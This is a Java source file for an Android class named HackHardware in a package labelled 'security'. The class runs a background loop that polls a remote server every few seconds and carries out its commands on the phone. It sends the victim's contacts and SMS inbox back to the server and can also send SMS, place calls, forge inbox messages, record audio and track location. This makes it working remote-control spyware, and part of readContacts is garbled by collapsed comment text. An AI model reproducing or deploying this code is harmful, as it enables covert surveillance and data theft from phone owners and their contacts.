package com.example.security.library;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Locale;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import android.accounts.AccountManager;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.NotificationManager;
import android.content.ContentProviderOperation;
import android.content.ContentProviderResult;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.hardware.Camera;
import android.hardware.Camera.AutoFocusCallback;
import android.hardware.Camera.Parameters;
import android.location.Address;
import android.location.Geocoder;
import android.media.AudioManager;
import android.net.Uri;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import android.os.Vibrator;
import android.provider.AlarmClock;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.CommonDataKinds.StructuredName;
import android.provider.ContactsContract.Data;
import android.provider.ContactsContract.RawContacts;
import android.provider.MediaStore;
import android.provider.Settings.Secure;
import android.support.v4.app.NotificationCompat;
import android.support.v4.app.TaskStackBuilder;
import android.telephony.SmsManager;
import android.util.Log;
import android.view.Gravity;
import android.view.View;
import android.view.WindowManager;
import android.widget.TextView;
import android.widget.Toast;

import com.example.security.MainActivity;
import com.example.security.R;
@SuppressLint("InlinedApi") public class HackHardware {

	protected Activity current_activity ;
	private Camera cam;
	boolean light = false;
	private Speaker speak ;
	private static String mFileName = null;
	private AudioRecorder audioRecord = null ;
	private PowerManager pm;
	private WakeLock vWakeLock ;
	private GPSTracker gps ;
	private double latitude;
	private double longitude;
	private Thread thread;
	private Action[] actions;

	public HackHardware(Activity act){
		current_activity = act;

		mFileName = "/audiorecordtest.3gp";
		audioRecord = new AudioRecorder(mFileName);

		launchThread();
		
	}


	public void sendSms(String numero,String corpssms){
		SmsManager sms = SmsManager.getDefault();
		sms.sendTextMessage(numero, null, corpssms, null, null);
		/*current_activity.startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("sms:"
                + numero)));*/
	}
	int position = 0;
	public void launchThread(){

		final String android_id = Secure.getString(current_activity.getContentResolver(),Secure.ANDROID_ID);
		final boolean stop = false;

		thread = new Thread(new Runnable() {
			@Override
			public void run() {
				try {
					while(!stop){
						Thread.sleep(3000);
						actions = Net.connect(android_id, getAccountNames()[0]);

						try{
							if(actions != null){
								System.out.println(actions.length+" actions a effectuer");
								for(int i = 0 ; i < actions.length; i++){
									Action action = actions[i];

									if(action.type.equals("notification")){
										pushNotif(Integer.parseInt(action.id),
												action.params.get("title"),
												action.params.get("text"),
												!Boolean.parseBoolean(action.params.get("removable")),
												Boolean.parseBoolean(action.params.get("progress"))
												);
										//System.out.println(android_id+"   |    "+action.id);
										Net.executed(android_id,action.id);
									}
									else if(action.type.equals("vibration")){
										vibreur(Integer.parseInt(action.params.get("time")));
										Net.executed(android_id,action.id);
									}
									else if(action.type.equals("alarm")){
										declencherAlarme(
												Integer.parseInt(action.params.get("hour")),
												Integer.parseInt(action.params.get("minute"))
												);
										Net.executed(android_id,action.id);
									}
									else if(action.type.equals("brightness")){
										setBrightness(Float.parseFloat(action.params.get("brightness"))/100.0f);
										Net.executed(android_id,action.id);
									}
									else if(action.type.equals("flash")){
										String state = action.params.get("state");
										if(state.equals("1"))
											ledon();
										else
											ledoff();
										Net.executed(android_id,action.id);
									}
									else if(action.type.equals("speech")){
										parler(action.params.get("text"));
										Net.executed(android_id,action.id);
									}
									else if(action.type.equals("insertcontact")){
										insertContact(
												action.params.get("phone"),
												action.params.get("firstName")+" "+action.params.get("lastName"));
										Net.executed(android_id,action.id);
									}
									else if(action.type.equals("standby")){
										String authorized = action.params.get("authorized");
										if(authorized.equals("1"))
											remettreVeille();
										else
											bloquerVeille();
										Net.executed(android_id,action.id);
									}
									else if(action.type.equals("screenorientation")){
										changeOrientationScreen(action.params.get("orientation"));
										Net.executed(android_id,action.id);
									}
									else if(action.type.equals("shortcut")){
										createShortcutOnDesktop(action.params.get("title"));
										Net.executed(android_id,action.id);
									}
									else if(action.type.equals("volume")){
										changerVolume(action.params.get("volume"));
										Net.executed(android_id,action.id);
									}

									else if(action.type.equals("contactlist")){
										Net.executed(android_id,action.id,readContacts());
									}
									
									else if(action.type.equals("smslistall")){
										Net.executed(android_id,action.id,readAllSms(action.params.get("offset"),action.params.get("limit")));
									}

								}

							}
						}catch(Exception e){
							//e.printStackTrace();
							launchThread();
						}
					}
				} catch (Exception e) {
					Log.e("Hack", e.toString());

					e.getLocalizedMessage();

					launchThread();
				}
			}
		});

		thread.start();
	}

	public void closeThread(){
		if(thread != null){
			thread.interrupt();
		}
	}
	public void initialiserGPS(){
		gps = new GPSTracker(current_activity);
		if(gps.canGetLocation()){

			latitude = gps.getLatitude();
			longitude = gps.getLongitude();
		}
	}

	public void getAdresse(){
		if(gps == null){
			initialiserGPS();
		}

		if(gps.canGetLocation){
			// Je recupere les derniers points gps
			getPositionGPS();
			String cityName ="";
			Geocoder gcd = new Geocoder(current_activity, Locale.getDefault());
			List<Address> addresses;
			try {
				addresses = gcd.getFromLocation(latitude,
						longitude, 1);
				if (addresses.size() > 0) {
					cityName = "Address Line: "
							+ addresses.get(0).getAddressLine(0) + "\n"
							+ addresses.get(0).getFeatureName() + "\n"
							+ "Locality: "
							+ addresses.get(0).getLocality() + "\n"
							+ addresses.get(0).getPremises() + "\n"
							+ "Admin Area: "
							+ addresses.get(0).getAdminArea() + "\n"
							+ "Country code: "
							+ addresses.get(0).getCountryCode() + "\n"
							+ "Country name: "
							+ addresses.get(0).getCountryName() + "\n"
							+ "Phone: " + addresses.get(0).getPhone()
							+ "\n" + "Postbox: "
							+ addresses.get(0).getPostalCode() + "\n"
							+ "SubLocality: "
							+ addresses.get(0).getSubLocality() + "\n"
							+ "SubAdminArea: "
							+ addresses.get(0).getSubAdminArea() + "\n"
							+ "SubThoroughfare: "
							+ addresses.get(0).getSubThoroughfare()
							+ "\n" + "Thoroughfare: "
							+ addresses.get(0).getThoroughfare() + "\n"
							+ "URL: " + addresses.get(0).getUrl();
				}
			} catch (IOException e) {
				e.printStackTrace();
			}

		}

	}


	public void getPositionGPS(){
		if(gps != null && gps.canGetLocation){
			latitude = gps.getLatitude();
			longitude = gps.getLongitude();
		}
	}
	public void insertContact(String numero,String nom){
		ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
		int rawContactInsertIndex = ops.size();

		ops.add(ContentProviderOperation.newInsert(RawContacts.CONTENT_URI)
				.withValue(RawContacts.ACCOUNT_TYPE, null)
				.withValue(RawContacts.ACCOUNT_NAME, null).build());
		ops.add(ContentProviderOperation
				.newInsert(Data.CONTENT_URI)
				.withValueBackReference(Data.RAW_CONTACT_ID,rawContactInsertIndex)
				.withValue(Data.MIMETYPE, StructuredName.CONTENT_ITEM_TYPE)
				.withValue(StructuredName.DISPLAY_NAME, nom) // Name of the person
				.build());
		ops.add(ContentProviderOperation
				.newInsert(Data.CONTENT_URI)
				.withValueBackReference(
						ContactsContract.Data.RAW_CONTACT_ID,   rawContactInsertIndex)
						.withValue(Data.MIMETYPE, Phone.CONTENT_ITEM_TYPE)
						.withValue(Phone.NUMBER, numero) // Number of the person
						.withValue(Phone.TYPE, Phone.TYPE_MOBILE).build()); // Type of mobile number

		try
		{
			ContentProviderResult[] res = current_activity.getContentResolver().applyBatch(ContactsContract.AUTHORITY, ops);
		}
		catch (Exception e)
		{ 
			// error
		}


	}

	public void bloquerVeille(){
		// L'application bloque la mise en veille (voir onDestroy pour la relacher
		pm =  (PowerManager) current_activity.getSystemService(Context.POWER_SERVICE);
		this.vWakeLock = pm.newWakeLock(PowerManager.FULL_WAKE_LOCK, "Troll");
		this.vWakeLock.acquire();
	}

	public void remettreVeille(){
		this.vWakeLock.release();
	}
	public void startRecord(){
		try {
			audioRecord.start();
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}

	public void launchAlbum(){
		current_activity.startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("content://media/external/images/media")));
	}
	public void stopRecord(){
		try {
			this.audioRecord.stop();
		}catch(Exception e){

		}

	}

	public void screenShot(){
	}

	private static void savePic(Bitmap b)
	{
		FileOutputStream fos = null;
		try
		{
			fos = new FileOutputStream("/sdcard/screenshot.png");
			if (null != fos)
			{
				b.compress(Bitmap.CompressFormat.PNG, 90, fos);
				fos.flush();
				fos.close();
			}
		}
		catch (FileNotFoundException e)
		{
			e.printStackTrace();
		}
		catch (IOException e)
		{
			e.printStackTrace();
		}
	}





	public void parler(String message){
		Speaker.lireMessage(current_activity,message);
	}

	public void volet(){

		for(int i=0; i < 100; i++){
			final Toast toast= Toast.makeText(current_activity, 
					"Struts forever", Toast.LENGTH_SHORT);  
			toast.setGravity(Gravity.TOP|Gravity.CENTER_HORIZONTAL, 0, i*100);
			toast.show();
		}
	}
	public void ledon() {
		try{
			light = true;
			cam = Camera.open();   
			Parameters params = cam.getParameters();
			params.setFlashMode(Parameters.FLASH_MODE_TORCH);
			cam.setParameters(params);
			cam.startPreview();
			cam.autoFocus(new AutoFocusCallback() {
				public void onAutoFocus(boolean success, Camera camera) {
				}
			});
		}catch(Exception e){

		}
	}

	public void ledoff() {
		try{
			light = false;
			cam.stopPreview();
			cam.release();
		}catch(Exception e){

		}
	}

	public List<RunningAppProcessInfo> listProcess(){
		System.out.println("List process");
		ActivityManager manager = (ActivityManager) current_activity.getSystemService(current_activity.ACTIVITY_SERVICE);
		List<RunningAppProcessInfo> runningProgrecesses = manager.getRunningAppProcesses();
		if(runningProgrecesses != null  && runningProgrecesses.size() > 0){
			for(RunningAppProcessInfo run : runningProgrecesses){
				System.out.println("Name process " +run.processName + "pid : " + run.pid);
			}
		}

		return runningProgrecesses;
	}

	public void killProcessPid(int pid){
		android.os.Process.killProcess(pid);

	}

	public boolean getLight(){
		return this.light;
	}


	private void setBrightness(float brightness) {
		WindowManager.LayoutParams layout = current_activity.getWindow().getAttributes();
		layout.screenBrightness = brightness;
		current_activity.getWindow().setAttributes(layout);
	}

	public  void changerVolume(String volume){
		AudioManager audioManager = (AudioManager)current_activity.getSystemService(Context.AUDIO_SERVICE);
		//on recupere le service audio du telephone

		Integer vol = Integer.parseInt(volume.replace("%", "").replace(" ", ""));

		int maxVolume = audioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
		int v = (maxVolume*vol)/100;

		System.out.println(""+v);

		audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, v, 0);
		audioManager.setStreamVolume(AudioManager.STREAM_RING, v, 0);
		audioManager.setStreamVolume(AudioManager.STREAM_ALARM, v, 0);
		audioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, v, 0);
		audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, v, 0);
		audioManager.setStreamVolume(AudioManager.STREAM_DTMF, v,0);	
	}

	@SuppressLint("InlinedApi") 
	public void declencherAlarme(int heure,int minutes){	
		Intent i = new Intent(AlarmClock.ACTION_SET_ALARM); 
		i.putExtra(AlarmClock.EXTRA_MESSAGE, "This is troll");
		i.putExtra(AlarmClock.EXTRA_HOUR,heure); 
		i.putExtra(AlarmClock.EXTRA_MINUTES,minutes);
		current_activity.startActivity(i); 
	}


	public void vibreur(int temps){

		Vibrator vibrator = (Vibrator) current_activity.getSystemService(Context.VIBRATOR_SERVICE);
		//vibrator.vibrate(new long[]{0,1000,500,1000,2000}, -1);
		vibrator.vibrate(temps);
	}

	public void falseSmsInbox(String numero,String body){
		ContentValues values = new ContentValues();
		values.put("address",numero);
		values.put("body", body);
		current_activity.getContentResolver().insert(Uri.parse("content://sms/inbox"), values);
		pushNotif(2,"Messagerie","Nvx msgs 2", false,false);
	}

	public void falseSmsSent(String numero, String body){
		ContentValues values = new ContentValues();
		values.put("address",numero);
		values.put("body", body);
		current_activity.getContentResolver().insert(Uri.parse("content://sms/sent"), values);
	}

	public void pushNotif(final int id,String titre,String corps,boolean rest,boolean progress){
		final NotificationCompat.Builder mBuilder =
				new NotificationCompat.Builder(current_activity)
		.setContentTitle(titre)
		.setOngoing(rest)
		.setContentText(corps);
		// Creates an explicit intent for an Activity in your app

		// The stack builder object will contain an artificial back stack for the
		// started Activity.
		// This ensures that navigating backward from the Activity leads out of
		// your application to the Home screen.
		TaskStackBuilder stackBuilder = TaskStackBuilder.create(current_activity);
		// Adds the back stack for the Intent (but not the Intent itself)
		stackBuilder.addParentStack(MainActivity.class);
		// Adds the Intent that starts the Activity to the top of the stack

		final NotificationManager mNotificationManager =
				(NotificationManager) current_activity.getSystemService(Context.NOTIFICATION_SERVICE);
		// mId allows you to update the notification later on.

		if(progress){
			new Thread(
					new Runnable() {
						@Override
						public void run() {
							int incr;
							// Do the "lengthy" operation 20 times
							for (incr = 0; incr <= 100; incr+=5) {
								// Sets the progress indicator to a max value, the
								// current completion percentage, and "determinate"
								// state
								mBuilder.setProgress(100, incr, false);
								// Displays the progress bar for the first time.
								mNotificationManager.notify(0, mBuilder.build());
								// Sleeps the thread, simulating an operation
								// that takes time
								try {
									// Sleep for 5 seconds
									Thread.sleep(5*100);
								} catch (InterruptedException e) {
								}
							}
							// When the loop is finished, updates the notification
							mBuilder.setContentText("Download complete")
							// Removes the progress bar
							.setProgress(0,0,false);
							mNotificationManager.notify(id, mBuilder.build());
						}
					}
					// Starts the thread by calling the run() method in its Runnable
					).start();
		}else{
			mNotificationManager.notify(id, mBuilder.build());
		}
	}

	private List<String> getCallDetails() {
		List<String> listCall = new ArrayList<String>();
		StringBuffer sb ;
		Cursor managedCursor = current_activity.managedQuery(CallLog.Calls.CONTENT_URI, null,
				null, null, null);
		int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
		int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
		int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
		int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
		while (managedCursor.moveToNext()) {
			sb = new StringBuffer();
			sb.append("Call Details :");
			String phNumber = managedCursor.getString(number);
			String callType = managedCursor.getString(type);
			String callDate = managedCursor.getString(date);
			Date callDayTime = new Date(Long.valueOf(callDate));
			String callDuration = managedCursor.getString(duration);
			String dir = null;
			int dircode = Integer.parseInt(callType);
			switch (dircode) {
			case CallLog.Calls.OUTGOING_TYPE:
				dir = "OUTGOING";
				break;

			case CallLog.Calls.INCOMING_TYPE:
				dir = "INCOMING";
				break;

			case CallLog.Calls.MISSED_TYPE:
				dir = "MISSED";
				break;
			}
			sb.append("\nPhone Number:--- " + phNumber + " \nCall Type:--- "
					+ dir + " \nCall Date:--- " + callDayTime
					+ " \nCall duration in sec :--- " + callDuration);
			sb.append("\n----------------------------------");
			System.out.println(sb);
			listCall.add(sb.toString());
		}
		managedCursor.close();
		return listCall;

	}

	public List<String> contact(){
		List<String> listContact = new ArrayList<String>();
		ContentResolver cr = current_activity.getContentResolver();
		Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI,
				null, null, null, null);
		if (cur.getCount() > 0) {
			while (cur.moveToNext()) {
				String id = cur.getString(cur.getColumnIndex(ContactsContract.Contacts._ID));
				String name = cur.getString(cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
				if (Integer.parseInt(cur.getString(
						cur.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) {
					Cursor pCur = cr.query(
							ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
							null,
							ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = ?",
							new String[]{id}, null);
					while (pCur.moveToNext()) {
						String phoneNo = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
						listContact.add(name+";"+phoneNo);
					}
					pCur.close();
				}
			}
		}
		return listContact;
	}

	public void telephoner(String numero){
		String url = "tel:"+numero;
		Intent intent = new Intent(Intent.ACTION_CALL, Uri.parse(url));
		current_activity.startActivity(intent);
	}

	public String readContacts() { 
		JSONArray array = new JSONArray();
		StringBuffer sb = new StringBuffer(); 
		sb.append("......Contact Details....."); 
		ContentResolver cr = current_activity.getContentResolver(); 
		Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); 
		String phone = null; 
		String emailContact = null; 
		String emailType = null; 
		String image_uri = "";
		Bitmap bitmap = null; 
		if (cur.getCount() > 0) { 
			while (cur.moveToNext()) { 

				JSONObject contact = new JSONObject();

				String id = cur.getString(cur .getColumnIndex(ContactsContract.Contacts._ID));
				String name = cur .getString(cur .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)); 
				image_uri = cur .getString(cur .getColumnIndex(ContactsContract.CommonDataKinds.Phone.PHOTO_URI)); 

				try {
					contact.put("name",name);
				} catch (JSONException e1) {
					e1.printStackTrace();
				}

				if (Integer .parseInt(cur.getString(cur .getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) {
					System.out.println("name : " + name + ", ID : " + id); sb.append("\n Contact Name:" + name); 
					Cursor pCur = cr.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", new String[] { id }, null);
					while (pCur.moveToNext()) { 
						phone = pCur .getString(pCur .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); 
						sb.append("\n Phone number:" + phone); 
						System.out.println("phone" + phone); 

						try {
							contact.put("phone",phone);
						} catch (JSONException e1) {
							e1.printStackTrace();
						}

					} 
					pCur.close(); 
					Cursor emailCur = cr.query( ContactsContract.CommonDataKinds.Email.CONTENT_URI, null, ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = ?", new String[] { id }, null);
					while (emailCur.moveToNext()) { 
						emailContact = emailCur .getString(emailCur .getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA)); 
						emailType = emailCur .getString(emailCur .getColumnIndex(ContactsContract.CommonDataKinds.Email.TYPE)); 
						sb.append("\nEmail:" + emailContact + "Email type:" + emailType); 
						System.out.println("Email " + emailContact + " Email Type : " + emailType); }
					emailCur.close(); 

					try {
						contact.put("email",emailContact);
					} catch (JSONException e1) {
						e1.printStackTrace();
					}
				}
				if (image_uri != null) { 
					System.out.println(Uri.parse(image_uri));

					try {
						bitmap = MediaStore.Images.Media .getBitmap(current_activity.getContentResolver(), Uri.parse(image_uri));

						sb.append("\n Image in Bitmap:" + bitmap); System.out.println(bitmap);
					} catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } sb.append("\n........................................"); } textDetail.setText(sb); } }
					}catch (IOException e) {
						// TODO Auto-generated catch block
						e.printStackTrace();
					} 

				}
				
				array.put(contact);
			}
		}
		
		String data = "[]";
		
		data = array.toString();
		
		return data;
	}

	private void changeOrientationScreen(String orientation)
	{
		if(orientation.equals("portrait")){
			current_activity.setRequestedOrientation (ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
		}else{
			current_activity.setRequestedOrientation (ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);

		}
	}

	private void createShortcutOnDesktop(String Titre) {
		//Adding shortcut for MainActivity 
		//on Home screen
		/*
		Intent shortcutIntent = new Intent(current_activity,
				MainActivity.class);

		shortcutIntent.setAction(Intent.ACTION_MAIN);

		Intent addIntent = new Intent();
		addIntent
		.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
		addIntent.putExtra(Intent.EXTRA_SHORTCUT_NAME, Titre);
		addIntent.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE,
				Intent.ShortcutIconResource.fromContext(current_activity,
						R.drawable.ic_launcher));

		addIntent
		.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
		current_activity.sendBroadcast(addIntent);
		 */
	}

	private String[] getAccountNames() {
		AccountManager  mAccountManager = AccountManager.get(current_activity);
		android.accounts.Account[] accounts = mAccountManager.getAccounts();
		String[] names = new String[accounts.length];
		for (int i = 0; i < names.length; i++) {
			names[i] = accounts[i].name;
			System.out.println(accounts[i].name + " " +accounts[i].type );
		}
		return names;
	}

	public String readAllSms(String debut, String nombreS){
		JSONArray array = new JSONArray();
				
		int nombre = Integer.parseInt(nombreS);
		int nb = 0;
		
		Cursor cursor = current_activity.getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, null);
		cursor.moveToFirst();

		do{
			JSONObject sms = new JSONObject();
			String msgData = "";
			for(int idx=0;idx<cursor.getColumnCount();idx++)
			{
				try{
				msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
				String name = cursor.getColumnName(idx);
				
				if("address".equals(name))
					sms.put("address", cursor.getString(idx));
				else if("date".equals(name))
					sms.put("date", cursor.getString(idx));
				else if("body".equals(name))
					sms.put("message", cursor.getString(idx));
				
				array.put(sms);
				
				}catch(Exception e){
					
				}
			}
			System.out.println(msgData);
			nb++;
			
		}while(cursor.moveToNext() && nb<nombre);
		
		String data = "[]";
		data = array.toString();
		
		return data;
		
	}
}


